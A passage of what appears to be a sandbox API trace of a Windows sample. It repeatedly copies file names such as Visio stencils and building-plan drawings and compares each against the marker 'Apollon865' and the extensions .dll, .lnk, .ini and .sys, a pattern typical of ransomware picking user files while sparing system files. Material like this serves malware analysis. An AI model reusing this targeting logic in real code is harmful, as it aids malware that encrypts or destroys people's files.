	[0066.396] lstrlenW (lpString="Apollon865") returned 10
	[0066.396] lstrcmpiW (lpString1="SICD_M.VST", lpString2="Apollon865") returned 1
	[0066.396] lstrlenW (lpString=".dll") returned 4
	[0066.396] lstrcmpiW (lpString1="BASICD_M.VST", lpString2=".dll") returned 1
	[0066.396] lstrlenW (lpString=".lnk") returned 4
	[0066.397] lstrcmpiW (lpString1="BASICD_M.VST", lpString2=".lnk") returned 1
	[0066.397] lstrlenW (lpString=".ini") returned 4
	[0066.397] lstrcmpiW (lpString1="BASICD_M.VST", lpString2=".ini") returned 1
	[0066.397] lstrlenW (lpString=".sys") returned 4
	[0066.397] lstrcmpiW (lpString1="BASICD_M.VST", lpString2=".sys") returned 1
	[0066.397] lstrlenW (lpString="BASICD_M.VST") returned 12
	[0066.397] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BASICD_U.VST" | out: lpString1="BASICD_U.VST") returned="BASICD_U.VST"
	[0066.397] lstrlenW (lpString="BASICD_U.VST") returned 12
	[0066.397] lstrlenW (lpString="Apollon865") returned 10
	[0066.397] lstrcmpiW (lpString1="SICD_U.VST", lpString2="Apollon865") returned 1
	[0066.397] lstrlenW (lpString=".dll") returned 4
	[0066.397] lstrcmpiW (lpString1="BASICD_U.VST", lpString2=".dll") returned 1
	[0066.397] lstrlenW (lpString=".lnk") returned 4
	[0066.397] lstrcmpiW (lpString1="BASICD_U.VST", lpString2=".lnk") returned 1
	[0066.397] lstrlenW (lpString=".ini") returned 4
	[0066.397] lstrcmpiW (lpString1="BASICD_U.VST", lpString2=".ini") returned 1
	[0066.397] lstrlenW (lpString=".sys") returned 4
	[0066.397] lstrcmpiW (lpString1="BASICD_U.VST", lpString2=".sys") returned 1
	[0066.397] lstrlenW (lpString="BASICD_U.VST") returned 12
	[0066.397] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BASIC_M.VSS" | out: lpString1="BASIC_M.VSS") returned="BASIC_M.VSS"
	[0066.397] lstrlenW (lpString="BASIC_M.VSS") returned 11
	[0066.397] lstrlenW (lpString="Apollon865") returned 10
	[0066.397] lstrcmpiW (lpString1="ASIC_M.VSS", lpString2="Apollon865") returned 1
	[0066.397] lstrlenW (lpString=".dll") returned 4
	[0066.397] lstrcmpiW (lpString1="BASIC_M.VSS", lpString2=".dll") returned 1
	[0066.397] lstrlenW (lpString=".lnk") returned 4
	[0066.397] lstrcmpiW (lpString1="BASIC_M.VSS", lpString2=".lnk") returned 1
	[0066.397] lstrlenW (lpString=".ini") returned 4
	[0066.397] lstrcmpiW (lpString1="BASIC_M.VSS", lpString2=".ini") returned 1
	[0066.397] lstrlenW (lpString=".sys") returned 4
	[0066.398] lstrcmpiW (lpString1="BASIC_M.VSS", lpString2=".sys") returned 1
	[0066.398] lstrlenW (lpString="BASIC_M.VSS") returned 11
	[0066.398] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BASIC_U.VSS" | out: lpString1="BASIC_U.VSS") returned="BASIC_U.VSS"
	[0066.398] lstrlenW (lpString="BASIC_U.VSS") returned 11
	[0066.398] lstrlenW (lpString="Apollon865") returned 10
	[0066.398] lstrcmpiW (lpString1="ASIC_U.VSS", lpString2="Apollon865") returned 1
	[0066.398] lstrlenW (lpString=".dll") returned 4
	[0066.398] lstrcmpiW (lpString1="BASIC_U.VSS", lpString2=".dll") returned 1
	[0066.398] lstrlenW (lpString=".lnk") returned 4
	[0066.398] lstrcmpiW (lpString1="BASIC_U.VSS", lpString2=".lnk") returned 1
	[0066.398] lstrlenW (lpString=".ini") returned 4
	[0066.398] lstrcmpiW (lpString1="BASIC_U.VSS", lpString2=".ini") returned 1
	[0066.398] lstrlenW (lpString=".sys") returned 4
	[0066.398] lstrcmpiW (lpString1="BASIC_U.VSS", lpString2=".sys") returned 1
	[0066.398] lstrlenW (lpString="BASIC_U.VSS") returned 11
	[0066.398] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BCKGRN_M.VSS" | out: lpString1="BCKGRN_M.VSS") returned="BCKGRN_M.VSS"
	[0066.398] lstrlenW (lpString="BCKGRN_M.VSS") returned 12
	[0066.398] lstrlenW (lpString="Apollon865") returned 10
	[0066.398] lstrcmpiW (lpString1="KGRN_M.VSS", lpString2="Apollon865") returned 1
	[0066.398] lstrlenW (lpString=".dll") returned 4
	[0066.398] lstrcmpiW (lpString1="BCKGRN_M.VSS", lpString2=".dll") returned 1
	[0066.398] lstrlenW (lpString=".lnk") returned 4
	[0066.398] lstrcmpiW (lpString1="BCKGRN_M.VSS", lpString2=".lnk") returned 1
	[0066.398] lstrlenW (lpString=".ini") returned 4
	[0066.398] lstrcmpiW (lpString1="BCKGRN_M.VSS", lpString2=".ini") returned 1
	[0066.398] lstrlenW (lpString=".sys") returned 4
	[0066.398] lstrcmpiW (lpString1="BCKGRN_M.VSS", lpString2=".sys") returned 1
	[0066.398] lstrlenW (lpString="BCKGRN_M.VSS") returned 12
	[0066.398] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BCKGRN_U.VSS" | out: lpString1="BCKGRN_U.VSS") returned="BCKGRN_U.VSS"
	[0066.399] lstrlenW (lpString="BCKGRN_U.VSS") returned 12
	[0066.399] lstrlenW (lpString="Apollon865") returned 10
	[0066.399] lstrcmpiW (lpString1="KGRN_U.VSS", lpString2="Apollon865") returned 1
	[0066.399] lstrlenW (lpString=".dll") returned 4
	[0066.399] lstrcmpiW (lpString1="BCKGRN_U.VSS", lpString2=".dll") returned 1
	[0066.399] lstrlenW (lpString=".lnk") returned 4
	[0066.399] lstrcmpiW (lpString1="BCKGRN_U.VSS", lpString2=".lnk") returned 1
	[0066.399] lstrlenW (lpString=".ini") returned 4
	[0066.399] lstrcmpiW (lpString1="BCKGRN_U.VSS", lpString2=".ini") returned 1
	[0066.399] lstrlenW (lpString=".sys") returned 4
	[0066.399] lstrcmpiW (lpString1="BCKGRN_U.VSS", lpString2=".sys") returned 1
	[0066.399] lstrlenW (lpString="BCKGRN_U.VSS") returned 12
	[0066.399] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BLDCOR_M.VSS" | out: lpString1="BLDCOR_M.VSS") returned="BLDCOR_M.VSS"
	[0066.399] lstrlenW (lpString="BLDCOR_M.VSS") returned 12
	[0066.399] lstrlenW (lpString="Apollon865") returned 10
	[0066.399] lstrcmpiW (lpString1="DCOR_M.VSS", lpString2="Apollon865") returned 1
	[0066.399] lstrlenW (lpString=".dll") returned 4
	[0066.399] lstrcmpiW (lpString1="BLDCOR_M.VSS", lpString2=".dll") returned 1
	[0066.399] lstrlenW (lpString=".lnk") returned 4
	[0066.399] lstrcmpiW (lpString1="BLDCOR_M.VSS", lpString2=".lnk") returned 1
	[0066.399] lstrlenW (lpString=".ini") returned 4
	[0066.399] lstrcmpiW (lpString1="BLDCOR_M.VSS", lpString2=".ini") returned 1
	[0066.399] lstrlenW (lpString=".sys") returned 4
	[0066.399] lstrcmpiW (lpString1="BLDCOR_M.VSS", lpString2=".sys") returned 1
	[0066.399] lstrlenW (lpString="BLDCOR_M.VSS") returned 12
	[0066.399] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BLDCOR_U.VSS" | out: lpString1="BLDCOR_U.VSS") returned="BLDCOR_U.VSS"
	[0066.399] lstrlenW (lpString="BLDCOR_U.VSS") returned 12
	[0066.399] lstrlenW (lpString="Apollon865") returned 10
	[0066.399] lstrcmpiW (lpString1="DCOR_U.VSS", lpString2="Apollon865") returned 1
	[0066.399] lstrlenW (lpString=".dll") returned 4
	[0066.400] lstrcmpiW (lpString1="BLDCOR_U.VSS", lpString2=".dll") returned 1
	[0066.400] lstrlenW (lpString=".lnk") returned 4
	[0066.400] lstrcmpiW (lpString1="BLDCOR_U.VSS", lpString2=".lnk") returned 1
	[0066.400] lstrlenW (lpString=".ini") returned 4
	[0066.400] lstrcmpiW (lpString1="BLDCOR_U.VSS", lpString2=".ini") returned 1
	[0066.400] lstrlenW (lpString=".sys") returned 4
	[0066.400] lstrcmpiW (lpString1="BLDCOR_U.VSS", lpString2=".sys") returned 1
	[0066.400] lstrlenW (lpString="BLDCOR_U.VSS") returned 12
	[0066.403] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BLDGPLAN.DWG" | out: lpString1="BLDGPLAN.DWG") returned="BLDGPLAN.DWG"
	[0066.403] lstrlenW (lpString="BLDGPLAN.DWG") returned 12
	[0066.403] lstrlenW (lpString="Apollon865") returned 10
	[0066.403] lstrcmpiW (lpString1="DGPLAN.DWG", lpString2="Apollon865") returned 1
	[0066.403] lstrlenW (lpString=".dll") returned 4
	[0066.403] lstrcmpiW (lpString1="BLDGPLAN.DWG", lpString2=".dll") returned 1
	[0066.403] lstrlenW (lpString=".lnk") returned 4
	[0066.403] lstrcmpiW (lpString1="BLDGPLAN.DWG", lpString2=".lnk") returned 1
	[0066.403] lstrlenW (lpString=".ini") returned 4
	[0066.403] lstrcmpiW (lpString1="BLDGPLAN.DWG", lpString2=".ini") returned 1
	[0066.403] lstrlenW (lpString=".sys") returned 4
	[0066.403] lstrcmpiW (lpString1="BLDGPLAN.DWG", lpString2=".sys") returned 1
	[0066.403] lstrlenW (lpString="BLDGPLAN.DWG") returned 12
	[0066.403] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BLDGPLAN.JPG" | out: lpString1="BLDGPLAN.JPG") returned="BLDGPLAN.JPG"
	[0066.404] lstrlenW (lpString="BLDGPLAN.JPG") returned 12
	[0066.404] lstrlenW (lpString="Apollon865") returned 10
	[0066.404] lstrcmpiW (lpString1="DGPLAN.JPG", lpString2="Apollon865") returned 1
	[0066.404] lstrlenW (lpString=".dll") returned 4
	[0066.404] lstrcmpiW (lpString1="BLDGPLAN.JPG", lpString2=".dll") returned 1
	[0066.404] lstrlenW (lpString=".lnk") returned 4
	[0066.404] lstrcmpiW (lpString1="BLDGPLAN.JPG", lpString2=".lnk") returned 1
	[0066.404] lstrlenW (lpString=".ini") returned 4
	[0066.404] lstrcmpiW (lpString1="BLDGPLAN.JPG", lpString2=".ini") returned 1
	[0066.404] lstrlenW (lpString=".sys") returned 4
	[0066.404] lstrcmpiW (lpString1="BLDGPLAN.JPG", lpString2=".sys") returned 1
	[0066.404] lstrlenW (lpString="BLDGPLAN.JPG") returned 12
	[0066.404] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BLNKDG_M.VSD" | out: lpString1="BLNKDG_M.VSD") returned="BLNKDG_M.VSD"
	[0066.404] lstrlenW (lpString="BLNKDG_M.VSD") returned 12
	[0066.404] lstrlenW (lpString="Apollon865") returned 10
	[0066.404] lstrcmpiW (lpString1="NKDG_M.VSD", lpString2="Apollon865") returned 1
	[0066.404] lstrlenW (lpString=".dll") returned 4
	[0066.404] lstrcmpiW (lpString1="BLNKDG_M.VSD", lpString2=".dll") returned 1
	[0066.404] lstrlenW (lpString=".lnk") returned 4
	[0066.404] lstrcmpiW (lpString1="BLNKDG_M.VSD", lpString2=".lnk") returned 1
	[0066.404] lstrlenW (lpString=".ini") returned 4
	[0066.404] lstrcmpiW (lpString1="BLNKDG_M.VSD", lpString2=".ini") returned 1
	[0066.404] lstrlenW (lpString=".sys") returned 4
	[0066.404] lstrcmpiW (lpString1="BLNKDG_M.VSD", lpString2=".sys") returned 1
	[0066.404] lstrlenW (lpString="BLNKDG_M.VSD") returned 12
	[0066.404] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BLNKDG_U.VSD" | out: lpString1="BLNKDG_U.VSD") returned="BLNKDG_U.VSD"
	[0066.404] lstrlenW (lpString="BLNKDG_U.VSD") returned 12
	[0066.404] lstrlenW (lpString="Apollon865") returned 10
	[0066.404] lstrcmpiW (lpString1="NKDG_U.VSD", lpString2="Apollon865") returned 1
	[0066.404] lstrlenW (lpString=".dll") returned 4
	[0066.405] lstrcmpiW (lpString1="BLNKDG_U.VSD", lpString2=".dll") returned 1
	[0066.405] lstrlenW (lpString=".lnk") returned 4
	[0066.405] lstrcmpiW (lpString1="BLNKDG_U.VSD", lpString2=".lnk") returned 1
	[0066.405] lstrlenW (lpString=".ini") returned 4
	[0066.405] lstrcmpiW (lpString1="BLNKDG_U.VSD", lpString2=".ini") returned 1
	[0066.405] lstrlenW (lpString=".sys") returned 4
	[0066.405] lstrcmpiW (lpString1="BLNKDG_U.VSD", lpString2=".sys") returned 1
	[0066.405] lstrlenW (lpString="BLNKDG_U.VSD") returned 12
	[0066.405] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BLOCK3_M.VSS" | out: lpString1="BLOCK3_M.VSS") returned="BLOCK3_M.VSS"
	[0066.405] lstrlenW (lpString="BLOCK3_M.VSS") returned 12
	[0066.405] lstrlenW (lpString="Apollon865") returned 10
	[0066.405] lstrcmpiW (lpString1="OCK3_M.VSS", lpString2="Apollon865") returned 1
	[0066.405] lstrlenW (lpString=".dll") returned 4
	[0066.405] lstrcmpiW (lpString1="BLOCK3_M.VSS", lpString2=".dll") returned 1
	[0066.405] lstrlenW (lpString=".lnk") returned 4
	[0066.405] lstrcmpiW (lpString1="BLOCK3_M.VSS", lpString2=".lnk") returned 1
	[0066.405] lstrlenW (lpString=".ini") returned 4
	[0066.405] lstrcmpiW (lpString1="BLOCK3_M.VSS", lpString2=".ini") returned 1
	[0066.405] lstrlenW (lpString=".sys") returned 4
	[0066.405] lstrcmpiW (lpString1="BLOCK3_M.VSS", lpString2=".sys") returned 1
	[0066.405] lstrlenW (lpString="BLOCK3_M.VSS") returned 12
	[0066.405] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BLOCK3_U.VSS" | out: lpString1="BLOCK3_U.VSS") returned="BLOCK3_U.VSS"
	[0066.405] lstrlenW (lpString="BLOCK3_U.VSS") returned 12
	[0066.405] lstrlenW (lpString="Apollon865") returned 10
	[0066.405] lstrcmpiW (lpString1="OCK3_U.VSS", lpString2="Apollon865") returned 1
	[0066.405] lstrlenW (lpString=".dll") returned 4
	[0066.405] lstrcmpiW (lpString1="BLOCK3_U.VSS", lpString2=".dll") returned 1
	[0066.405] lstrlenW (lpString=".lnk") returned 4
	[0066.406] lstrcmpiW (lpString1="BLOCK3_U.VSS", lpString2=".lnk") returned 1
	[0066.406] lstrlenW (lpString=".ini") returned 4
	[0066.406] lstrcmpiW (lpString1="BLOCK3_U.VSS", lpString2=".ini") returned 1
	[0066.406] lstrlenW (lpString=".sys") returned 4
	[0066.406] lstrcmpiW (lpString1="BLOCK3_U.VSS", lpString2=".sys") returned 1
	[0066.406] lstrlenW (lpString="BLOCK3_U.VSS") returned 12
	[0066.406] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BLOCKP_M.VSS" | out: lpString1="BLOCKP_M.VSS") returned="BLOCKP_M.VSS"
	[0066.406] lstrlenW (lpString="BLOCKP_M.VSS") returned 12
	[0066.406] lstrlenW (lpString="Apollon865") returned 10
	[0066.406] lstrcmpiW (lpString1="OCKP_M.VSS", lpString2="Apollon865") returned 1
	[0066.406] lstrlenW (lpString=".dll") returned 4
	[0066.406] lstrcmpiW (lpString1="BLOCKP_M.VSS", lpString2=".dll") returned 1
	[0066.406] lstrlenW (lpString=".lnk") returned 4
	[0066.406] lstrcmpiW (lpString1="BLOCKP_M.VSS", lpString2=".lnk") returned 1
	[0066.406] lstrlenW (lpString=".ini") returned 4
	[0066.406] lstrcmpiW (lpString1="BLOCKP_M.VSS", lpString2=".ini") returned 1
	[0066.406] lstrlenW (lpString=".sys") returned 4
	[0066.406] lstrcmpiW (lpString1="BLOCKP_M.VSS", lpString2=".sys") returned 1
	[0066.406] lstrlenW (lpString="BLOCKP_M.VSS") returned 12
	[0066.406] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BLOCKP_M.VST" | out: lpString1="BLOCKP_M.VST") returned="BLOCKP_M.VST"
	[0066.406] lstrlenW (lpString="BLOCKP_M.VST") returned 12
	[0066.406] lstrlenW (lpString="Apollon865") returned 10
	[0066.406] lstrcmpiW (lpString1="OCKP_M.VST", lpString2="Apollon865") returned 1
	[0066.406] lstrlenW (lpString=".dll") returned 4
	[0066.406] lstrcmpiW (lpString1="BLOCKP_M.VST", lpString2=".dll") returned 1
	[0066.406] lstrlenW (lpString=".lnk") returned 4
	[0066.406] lstrcmpiW (lpString1="BLOCKP_M.VST", lpString2=".lnk") returned 1
	[0066.406] lstrlenW (lpString=".ini") returned 4
	[0066.406] lstrcmpiW (lpString1="BLOCKP_M.VST", lpString2=".ini") returned 1
	[0066.406] lstrlenW (lpString=".sys") returned 4
	[0066.407] lstrcmpiW (lpString1="BLOCKP_M.VST", lpString2=".sys") returned 1
	[0066.407] lstrlenW (lpString="BLOCKP_M.VST") returned 12
	[0066.407] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BLOCKP_U.VSS" | out: lpString1="BLOCKP_U.VSS") returned="BLOCKP_U.VSS"
	[0066.407] lstrlenW (lpString="BLOCKP_U.VSS") returned 12
	[0066.407] lstrlenW (lpString="Apollon865") returned 10
	[0066.407] lstrcmpiW (lpString1="OCKP_U.VSS", lpString2="Apollon865") returned 1
	[0066.407] lstrlenW (lpString=".dll") returned 4
	[0066.407] lstrcmpiW (lpString1="BLOCKP_U.VSS", lpString2=".dll") returned 1
	[0066.407] lstrlenW (lpString=".lnk") returned 4
	[0066.407] lstrcmpiW (lpString1="BLOCKP_U.VSS", lpString2=".lnk") returned 1
	[0066.407] lstrlenW (lpString=".ini") returned 4
	[0066.407] lstrcmpiW (lpString1="BLOCKP_U.VSS", lpString2=".ini") returned 1
	[0066.407] lstrlenW (lpString=".sys") returned 4
	[0066.407] lstrcmpiW (lpString1="BLOCKP_U.VSS", lpString2=".sys") returned 1
	[0066.407] lstrlenW (lpString="BLOCKP_U.VSS") returned 12
	[0066.407] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BLOCKP_U.VST" | out: lpString1="BLOCKP_U.VST") returned="BLOCKP_U.VST"
	[0066.407] lstrlenW (lpString="BLOCKP_U.VST") returned 12
	[0066.407] lstrlenW (lpString="Apollon865") returned 10
	[0066.407] lstrcmpiW (lpString1="OCKP_U.VST", lpString2="Apollon865") returned 1
	[0066.407] lstrlenW (lpString=".dll") returned 4
	[0066.407] lstrcmpiW (lpString1="BLOCKP_U.VST", lpString2=".dll") returned 1
	[0066.407] lstrlenW (lpString=".lnk") returned 4
	[0066.407] lstrcmpiW (lpString1="BLOCKP_U.VST", lpString2=".lnk") returned 1
	[0066.407] lstrlenW (lpString=".ini") returned 4
	[0066.407] lstrcmpiW (lpString1="BLOCKP_U.VST", lpString2=".ini") returned 1
	[0066.407] lstrlenW (lpString=".sys") returned 4
	[0066.407] lstrcmpiW (lpString1="BLOCKP_U.VST", lpString2=".sys") returned 1
	[0066.407] lstrlenW (lpString="BLOCKP_U.VST") returned 12
	[0066.407] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BLOCKS.DWG" | out: lpString1="BLOCKS.DWG") returned="BLOCKS.DWG"
	[0066.408] lstrlenW (lpString="BLOCKS.DWG") returned 10
	[0066.408] lstrlenW (lpString="Apollon865") returned 10
	[0066.408] lstrlenW (lpString=".dll") returned 4
	[0066.408] lstrcmpiW (lpString1="BLOCKS.DWG", lpString2=".dll") returned 1
	[0066.408] lstrlenW (lpString=".lnk") returned 4
	[0066.408] lstrcmpiW (lpString1="BLOCKS.DWG", lpString2=".lnk") returned 1
	[0066.408] lstrlenW (lpString=".ini") returned 4
	[0066.408] lstrcmpiW (lpString1="BLOCKS.DWG", lpString2=".ini") returned 1
	[0066.408] lstrlenW (lpString=".sys") returned 4
	[0066.408] lstrcmpiW (lpString1="BLOCKS.DWG", lpString2=".sys") returned 1
	[0066.408] lstrlenW (lpString="BLOCKS.DWG") returned 10
	[0066.408] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BLOCK_M.VSS" | out: lpString1="BLOCK_M.VSS") returned="BLOCK_M.VSS"
	[0066.408] lstrlenW (lpString="BLOCK_M.VSS") returned 11
	[0066.408] lstrlenW (lpString="Apollon865") returned 10
	[0066.408] lstrcmpiW (lpString1="LOCK_M.VSS", lpString2="Apollon865") returned 1
	[0066.408] lstrlenW (lpString=".dll") returned 4
	[0066.408] lstrcmpiW (lpString1="BLOCK_M.VSS", lpString2=".dll") returned 1
	[0066.408] lstrlenW (lpString=".lnk") returned 4
	[0066.408] lstrcmpiW (lpString1="BLOCK_M.VSS", lpString2=".lnk") returned 1
	[0066.408] lstrlenW (lpString=".ini") returned 4
	[0066.408] lstrcmpiW (lpString1="BLOCK_M.VSS", lpString2=".ini") returned 1
	[0066.408] lstrlenW (lpString=".sys") returned 4
	[0066.408] lstrcmpiW (lpString1="BLOCK_M.VSS", lpString2=".sys") returned 1
	[0066.408] lstrlenW (lpString="BLOCK_M.VSS") returned 11
	[0066.408] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BLOCK_M.VST" | out: lpString1="BLOCK_M.VST") returned="BLOCK_M.VST"
	[0066.408] lstrlenW (lpString="BLOCK_M.VST") returned 11
	[0066.408] lstrlenW (lpString="Apollon865") returned 10
	[0066.408] lstrcmpiW (lpString1="LOCK_M.VST", lpString2="Apollon865") returned 1
	[0066.408] lstrlenW (lpString=".dll") returned 4
	[0066.408] lstrcmpiW (lpString1="BLOCK_M.VST", lpString2=".dll") returned 1
	[0066.409] lstrlenW (lpString=".lnk") returned 4
	[0066.409] lstrcmpiW (lpString1="BLOCK_M.VST", lpString2=".lnk") returned 1
	[0066.409] lstrlenW (lpString=".ini") returned 4
	[0066.409] lstrcmpiW (lpString1="BLOCK_M.VST", lpString2=".ini") returned 1
	[0066.409] lstrlenW (lpString=".sys") returned 4
	[0066.409] lstrcmpiW (lpString1="BLOCK_M.VST", lpString2=".sys") returned 1
	[0066.409] lstrlenW (lpString="BLOCK_M.VST") returned 11
	[0066.409] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BLOCK_U.VSS" | out: lpString1="BLOCK_U.VSS") returned="BLOCK_U.VSS"
	[0066.409] lstrlenW (lpString="BLOCK_U.VSS") returned 11
	[0066.409] lstrlenW (lpString="Apollon865") returned 10
	[0066.409] lstrcmpiW (lpString1="LOCK_U.VSS", lpString2="Apollon865") returned 1
	[0066.409] lstrlenW (lpString=".dll") returned 4
	[0066.409] lstrcmpiW (lpString1="BLOCK_U.VSS", lpString2=".dll") returned 1
	[0066.409] lstrlenW (lpString=".lnk") returned 4
	[0066.409] lstrcmpiW (lpString1="BLOCK_U.VSS", lpString2=".lnk") returned 1
	[0066.409] lstrlenW (lpString=".ini") returned 4
	[0066.409] lstrcmpiW (lpString1="BLOCK_U.VSS", lpString2=".ini") returned 1
	[0066.409] lstrlenW (lpString=".sys") returned 4
	[0066.409] lstrcmpiW (lpString1="BLOCK_U.VSS", lpString2=".sys") returned 1
	[0066.409] lstrlenW (lpString="BLOCK_U.VSS") returned 11
	[0066.409] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BLOCK_U.VST" | out: lpString1="BLOCK_U.VST") returned="BLOCK_U.VST"
	[0066.409] lstrlenW (lpString="BLOCK_U.VST") returned 11
	[0066.409] lstrlenW (lpString="Apollon865") returned 10
	[0066.409] lstrcmpiW (lpString1="LOCK_U.VST", lpString2="Apollon865") returned 1
	[0066.409] lstrlenW (lpString=".dll") returned 4
	[0066.409] lstrcmpiW (lpString1="BLOCK_U.VST", lpString2=".dll") returned 1
	[0066.409] lstrlenW (lpString=".lnk") returned 4
	[0066.409] lstrcmpiW (lpString1="BLOCK_U.VST", lpString2=".lnk") returned 1
	[0066.409] lstrlenW (lpString=".ini") returned 4
	[0066.409] lstrcmpiW (lpString1="BLOCK_U.VST", lpString2=".ini") returned 1
	[0066.410] lstrlenW (lpString=".sys") returned 4
	[0066.410] lstrcmpiW (lpString1="BLOCK_U.VST", lpString2=".sys") returned 1
	[0066.410] lstrlenW (lpString="BLOCK_U.VST") returned 11
	[0066.410] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BORDRS_M.VSS" | out: lpString1="BORDRS_M.VSS") returned="BORDRS_M.VSS"
	[0066.410] lstrlenW (lpString="BORDRS_M.VSS") returned 12
	[0066.410] lstrlenW (lpString="Apollon865") returned 10
	[0066.410] lstrcmpiW (lpString1="RDRS_M.VSS", lpString2="Apollon865") returned 1
	[0066.410] lstrlenW (lpString=".dll") returned 4
	[0066.410] lstrcmpiW (lpString1="BORDRS_M.VSS", lpString2=".dll") returned 1
	[0066.410] lstrlenW (lpString=".lnk") returned 4
	[0066.410] lstrcmpiW (lpString1="BORDRS_M.VSS", lpString2=".lnk") returned 1
	[0066.410] lstrlenW (lpString=".ini") returned 4
	[0066.410] lstrcmpiW (lpString1="BORDRS_M.VSS", lpString2=".ini") returned 1
	[0066.410] lstrlenW (lpString=".sys") returned 4
	[0066.410] lstrcmpiW (lpString1="BORDRS_M.VSS", lpString2=".sys") returned 1
	[0066.410] lstrlenW (lpString="BORDRS_M.VSS") returned 12
	[0066.410] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BORDRS_U.VSS" | out: lpString1="BORDRS_U.VSS") returned="BORDRS_U.VSS"
	[0066.410] lstrlenW (lpString="BORDRS_U.VSS") returned 12
	[0066.410] lstrlenW (lpString="Apollon865") returned 10
	[0066.410] lstrcmpiW (lpString1="RDRS_U.VSS", lpString2="Apollon865") returned 1
	[0066.410] lstrlenW (lpString=".dll") returned 4
	[0066.410] lstrcmpiW (lpString1="BORDRS_U.VSS", lpString2=".dll") returned 1
	[0066.410] lstrlenW (lpString=".lnk") returned 4
	[0066.410] lstrcmpiW (lpString1="BORDRS_U.VSS", lpString2=".lnk") returned 1
	[0066.410] lstrlenW (lpString=".ini") returned 4
	[0066.411] lstrcmpiW (lpString1="BORDRS_U.VSS", lpString2=".ini") returned 1
	[0066.411] lstrlenW (lpString=".sys") returned 4
	[0066.411] lstrcmpiW (lpString1="BORDRS_U.VSS", lpString2=".sys") returned 1
	[0066.411] lstrlenW (lpString="BORDRS_U.VSS") returned 12
	[0066.411] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BPMNA_M.VSS" | out: lpString1="BPMNA_M.VSS") returned="BPMNA_M.VSS"
	[0066.411] lstrlenW (lpString="BPMNA_M.VSS") returned 11
	[0066.411] lstrlenW (lpString="Apollon865") returned 10
	[0066.411] lstrcmpiW (lpString1="PMNA_M.VSS", lpString2="Apollon865") returned 1
	[0066.411] lstrlenW (lpString=".dll") returned 4
	[0066.411] lstrcmpiW (lpString1="BPMNA_M.VSS", lpString2=".dll") returned 1
	[0066.411] lstrlenW (lpString=".lnk") returned 4
	[0066.411] lstrcmpiW (lpString1="BPMNA_M.VSS", lpString2=".lnk") returned 1
	[0066.411] lstrlenW (lpString=".ini") returned 4
	[0066.411] lstrcmpiW (lpString1="BPMNA_M.VSS", lpString2=".ini") returned 1
	[0066.411] lstrlenW (lpString=".sys") returned 4
	[0066.411] lstrcmpiW (lpString1="BPMNA_M.VSS", lpString2=".sys") returned 1
	[0066.411] lstrlenW (lpString="BPMNA_M.VSS") returned 11
	[0066.411] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BPMNA_U.VSS" | out: lpString1="BPMNA_U.VSS") returned="BPMNA_U.VSS"
	[0066.411] lstrlenW (lpString="BPMNA_U.VSS") returned 11
	[0066.411] lstrlenW (lpString="Apollon865") returned 10
	[0066.411] lstrcmpiW (lpString1="PMNA_U.VSS", lpString2="Apollon865") returned 1
	[0066.411] lstrlenW (lpString=".dll") returned 4
	[0066.411] lstrcmpiW (lpString1="BPMNA_U.VSS", lpString2=".dll") returned 1
	[0066.411] lstrlenW (lpString=".lnk") returned 4
	[0066.411] lstrcmpiW (lpString1="BPMNA_U.VSS", lpString2=".lnk") returned 1
	[0066.411] lstrlenW (lpString=".ini") returned 4
	[0066.411] lstrcmpiW (lpString1="BPMNA_U.VSS", lpString2=".ini") returned 1
	[0066.411] lstrlenW (lpString=".sys") returned 4
	[0066.411] lstrcmpiW (lpString1="BPMNA_U.VSS", lpString2=".sys") returned 1
	[0066.411] lstrlenW (lpString="BPMNA_U.VSS") returned 11
	[0066.412] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BPMNC_M.VSS" | out: lpString1="BPMNC_M.VSS") returned="BPMNC_M.VSS"
	[0066.412] lstrlenW (lpString="BPMNC_M.VSS") returned 11
	[0066.412] lstrlenW (lpString="Apollon865") returned 10
	[0066.412] lstrcmpiW (lpString1="PMNC_M.VSS", lpString2="Apollon865") returned 1
	[0066.412] lstrlenW (lpString=".dll") returned 4
	[0066.412] lstrcmpiW (lpString1="BPMNC_M.VSS", lpString2=".dll") returned 1
	[0066.412] lstrlenW (lpString=".lnk") returned 4
	[0066.412] lstrcmpiW (lpString1="BPMNC_M.VSS", lpString2=".lnk") returned 1
	[0066.412] lstrlenW (lpString=".ini") returned 4
	[0066.412] lstrcmpiW (lpString1="BPMNC_M.VSS", lpString2=".ini") returned 1
	[0066.412] lstrlenW (lpString=".sys") returned 4
	[0066.412] lstrcmpiW (lpString1="BPMNC_M.VSS", lpString2=".sys") returned 1
	[0066.412] lstrlenW (lpString="BPMNC_M.VSS") returned 11
	[0066.412] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BPMNC_U.VSS" | out: lpString1="BPMNC_U.VSS") returned="BPMNC_U.VSS"
	[0066.412] lstrlenW (lpString="BPMNC_U.VSS") returned 11
	[0066.412] lstrlenW (lpString="Apollon865") returned 10
	[0066.412] lstrcmpiW (lpString1="PMNC_U.VSS", lpString2="Apollon865") returned 1
	[0066.412] lstrlenW (lpString=".dll") returned 4
	[0066.412] lstrcmpiW (lpString1="BPMNC_U.VSS", lpString2=".dll") returned 1
	[0066.412] lstrlenW (lpString=".lnk") returned 4
